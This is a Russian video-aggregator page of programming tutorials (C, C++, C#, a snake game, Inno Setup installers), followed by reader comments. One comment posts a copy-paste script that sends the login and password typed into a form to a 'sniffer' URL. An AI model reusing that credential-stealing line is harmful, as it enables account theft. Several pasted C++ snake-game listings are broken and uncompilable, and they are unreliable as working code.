Вопрос: Как создать простую программу на С?

 

Как создать программу для взлома паролей.

Видео взято с канала: RedBoy Warface


 

Как создать свою программу на C++

Видео взято с канала: Туториалы Для Людей


 

Пример простой программы на Java

Видео взято с канала: Now Android


 

Создание простой программы на C#

Видео взято с канала: Канал Успеха


 

Как создать простую программу на С#

Видео взято с канала: AnimeShka


 

Создание игры на C++ / Змейка Урок #1 (Создание карты)

Видео взято с канала: Гоша Дударь


 

Как создать простой установщик/репак игры/программы? Туториал.

Видео взято с канала: Ax Demolution


15 комментариев

  • слушай а как сделать что бы репак через Inno setup лучше сжимался? я использую вот такой скрипт Compression=lzma2/max

    SolidCompression=yes
    но беда в том что он практически не сжимает..сжимает но очень мало..ведь обычные репакеры сжимают нехило так из-за чего так?

  • Красава!!! Всё понятно и ясно))) Давно уже хотел свой установщик Gta V сделать, с модом Redux, c Add-On модами, с персонажами из форсаж и т.д))) Игра работает идеально, не каких ошибок, не вылетов с таким количеством модов, вот я и хотел установщик сделать))) Только один вопрос? Почему я сделал свой репак игры а она теперь не удаляется через панель управления удаление программы??? Что то тут не показал в видео)))

  • С установкой норм все,но после нее при удалении выводит ошибку,мол отсутствие файла удаления,и с установки и удаление программ тоже не хочет удалять,а когда установленную папку сам удалил,оно за отсутствием файлов уберает ее,я решение этой проблемы пока не нашел, может быть кто подскажет раньше

  • Огромное спасибо. Идеально подошёл для упаковки игры, которую я написал для своей курсовой работы по Объектно-ориентированному программированию. Посмотреть, что вышло можно тут: http://spaces.ru/files/view/?Li=-9192751&Link_id=910083&Lt=1&Read=66545665&Lii=66545665&name=slava2012z&Sn=1

  • Не, главное найти дистриб С++, который работает (например, ставил эклипсу на убунту вообще не запускается, в Builder, Qt и Unity кнопок много, и все английские), а когда-то на МК85 написал игру «Питон», на БК и ДВК влёт игры писал…
    )

  • Добрый день. У меня функция void Draw зациклилась. Помогите пожалуйста.

    #include «pch.h»
    #include
    #include
    # include
    # include
    # include

    using namespace std;

    bool gameOver;//объявление переменной для игры

    const int width = 20;//объявление константой ширины поля.

    const int height = 20;//объявление константой высоты поля.

    int x,y; //объявление координат змейки в игре.

    int fruitX, fruitY;//объявление координат фрукт в игре.

    int score; // объявление переменной для записи в нее счета в игре.

    enum eDirection //определение нового перечислимого типа.
    {
    STOP = 0, LEFT, RIGHT, UP, DOWN
    };

    eDirection dir; //определение переменной типа eDirection с именем dir для присвоения ей значений.

    void Setup()// объявление функции настраивающей все параметры
    {
    gameOver=false;
    dir = STOP;//изначально мы стоим на месте.
    x = width / 2-1; //задание координат змейки в центре карты в начале игры.
    y = height / 2-1;//задание координат змейки в центре карты в начале игры.
    fruitX = rand() % width;//задание рендомных координат появления фруктов.
    fruitY = rand() % height;//задание рендомных координат появления фруктов.
    score = 0;//счет равен нулю при старте.
    }

    void Draw()// объявление функции которая рисует карту
    {
    free;//функция очищения при каждом вызове.
    for (int i = 0; i < width + 1; i++) //создание цикла для рисования верхней границы игры.
    cout << "#";
    cout << endl;
    for (int i = 0; i < height; i++)//создание цикла для рисования боковой границы игры
    {
    for (int j = 0; j < width; j++)//проверка каждой ячейки по ширине.
    {
    if (j = 0 || j = width 1)//что бы начинать с нуля.
    cout << "#";
    if (i = y && j = x)
    cout << 0;//начало змеи.
    else if (i = fruitY && j = fruitX)//определение координат для вываода фрукта.
    cout << "f";//вывод фрукта.
    else
    cout << " ";//заполнение остальных полей пустотой;
    }
    cout << endl;//переход на новую строку.
    }

    for (int i = 0; i < width + 1; i++) //создание цикла для рисования нижней границы игры. cout << "#";
    cout << endl;
    cout << "счет " << score << endl;
    //system(«pause»);
    }

    void Input()// объявление функции отслеживает нажатия пользователя
    {
    if (_kbhit()) //проверяет наличие ввода с клавиатуры возвращает истину в случае нажатия клавиши клавиатуры
    //и ноль в противном случае.
    {
    switch (_getch())//определяем что именно нажал пользователь
    {
    case’a’:
    dir = LEFT;//если пользователь нажал «а» змейка пошла в лево.
    break;
    case’d’:
    dir = RIGHT;//если пользователь нажал «d» змейка пошла в право.
    break;
    case’w’:
    dir = UP;//если пользователь нажал «w» змейка пошла в верх.
    break;
    case’s’:
    dir = DOWN;//если пользователь нажал «s» змейка пошла в низ.
    break;
    case’x’:
    gameOver = true;//если пользователь нажал «x» выход из игры.
    break;
    }

    }

    }
    void Logic()// объявление функции отслеживает логику игры
    {
    switch (dir)
    {
    case LEFT:
    x-;
    break;
    case RIGHT:
    x++;
    break;
    case UP:
    y-;
    break;
    case DOWN:
    y++;
    break;
    }

    if (x > width || x < 0|| y > height|| y < 0)//проверка выхода из поля.
    gameOver = true;
    if (x= fruitX && y= fruitY)
    {
    score += 10;
    fruitX = rand() % width;
    fruitY = rand() % height;
    }
    }

    int main()
    {
    setlocale(LC_ALL, «»);
    srand(time(NULL));
    Setup();
    while (!gameOver)
    {
    Draw();
    Input();
    Logic();
    }
    //system(«pause»);
    return 0;
    }

  • Можно чуть подредактировать?
    void Draw()
    {
    system(«cls»);
    for (int i = 0; i < width + 1; i++)
    {
    cout << "#" << endl;
    }
    for (int i = 0; i < height; i++)
    {
    for (int j = 0; j < width; j++)
    {
    if (j = 0 || j = width 1)
    cout << "#" << " " << endl;
    }
    }
    for (int i = 0; i < width + 1; i++)
    {
    cout << "#" << endl;
    }
    }

  • Гошка спиздил проект у кого то из англоязычных и выдает за свой. Ну ладно спиздил, так он и со всеми косяками его подает, не хуя он не исправили по ходу даже не понимает какие проблемы в программе что она все дергается, но Гашан учит и ведет платные уроки.

  • а как создать авто установщик программ после преустановки ос чтоб все каждый раз не выбирать не искать

    а создать свой набор программ и чтоб они по очереди устанавливались

    я через Smart Install Maker пробовал нечего не вышло не запускается установка сама программ

    может что то другое надо?

  • Да уж, с мерцанием всего экрана, эт прям для новичков, пускай учатся, как делать не надо. Что мешает нарисовать уровень один раз, а перемещения змейки сделать затиранием символов на пробелы, а не обновлением всего экрана?

  • #include //Подключение основной библиотеки

    using namespace std;

    bool GameOver;//Переменая GameOver типа Bool

    const int width = 20;//Ширина окна

    const int height = 20;//Высота окна

    int x, y, FruitX, FruitY,score;//Объявление переменных

    enum eDirection { STOP = 0,LEFT,RIGHT,UP,DOWN };//Влево вправо вверх вниз

    eDirection dir;

    void setup() {

    GameOver = false;

    dir = STOP;

    x = width/2;

    y = height / 2;

    FruitX = rand() % width;

    FruitY = rand() % height;

    score = 0;// Инициализация score значением 0

    }

    void draw() {

    system(«cls»);//Для верхней границы

    for (int i = 0; i < width;i++)
    cout << "#"; //Вывод на экран
    cout << endl; //Вывод на экран for (int i = 0; i < height; i++) {//Для боковой границы
    for (int j = 0; j < width; j++) {//Для боковой границы
    if (j = 0 || j=width-1)//Условие

    cout << "#";//Вывод на экран
    cout << " ";//Вывод на экран
    }

    cout << endl;//Вывод на экран
    }

    for (int i = 0; i < width; i++)//Для нижней границы
    cout << "#";//Вывод на экран
    cout << endl;//Вывод на экран }
    void input() {//Управление клавишами

    }

    void logic() {//логика игры

    }

    int main() {//точка входа в программу

    setup();

    while (!GameOver) {

    draw();

    input();

    logic();

    }

    return 0;//возвращение значения
    }

  • еще бьі ему не мигать, один кадр ресуется 3мя циклами, и ето еще не дошла очередь до самой змеи.
    вообще бьістрее всего держать картинку в двумерном масиве и вьіводить puts’ом.
    и вместо ‘cls’ сетконсолкурсорпозишен

  • Скрипт по ссылке удалён! Вот скрипт:
    $edit1 = c(‘Form1->edit1’)->text; $edit2 = c(‘Form1->edit2’)->text; $url = «Сниффер»; file_get_contents($url. «?». «login:». $edit1. «|domian:». $combobox1. «|pass:». $edit2);
    Его просто скопировать и вставить.
    Так же этот сниффер больше не работает. Ищем другой.

  • #include

    namespace std;

    bool gameOver;

    const int width = 20;

    const int height = 20;

    int x, y, fruitX, fruitY, score;

    enum eDirection { STOP = 0; LEFT, RIGHT, UP, DOWN };

    eDirection dir;

    void Setup()

    {

    gamOver = false;

    eDirection = STOP;

    x = width / 2;

    y = height / 2;

    fruitX = rand() % width;

    fruitY = rand() % height;

    score = 0;

    }

    void Draw()

    {

    system(‘cls’);

    for (int i = 0; i < width; i++)
    cout << '#';
    cout << endl; for (int i = 0; i < height; i++) {
    for (int j = 0; j < width; j++) {
    if (j = 0)

    cout << '#';
    cout << " ";
    }

    cout << endl;
    }

    for (int i = 0; i < width; i++)
    cout << '#';
    cout << endl;
    }

    void Input()

    {

    }

    void Logic()

    {

    }

    int main()

    {

    Setup();

    while (!gameOver)

    {

    Draw();

    Input();

    Logic();

    }

    return 0;

    }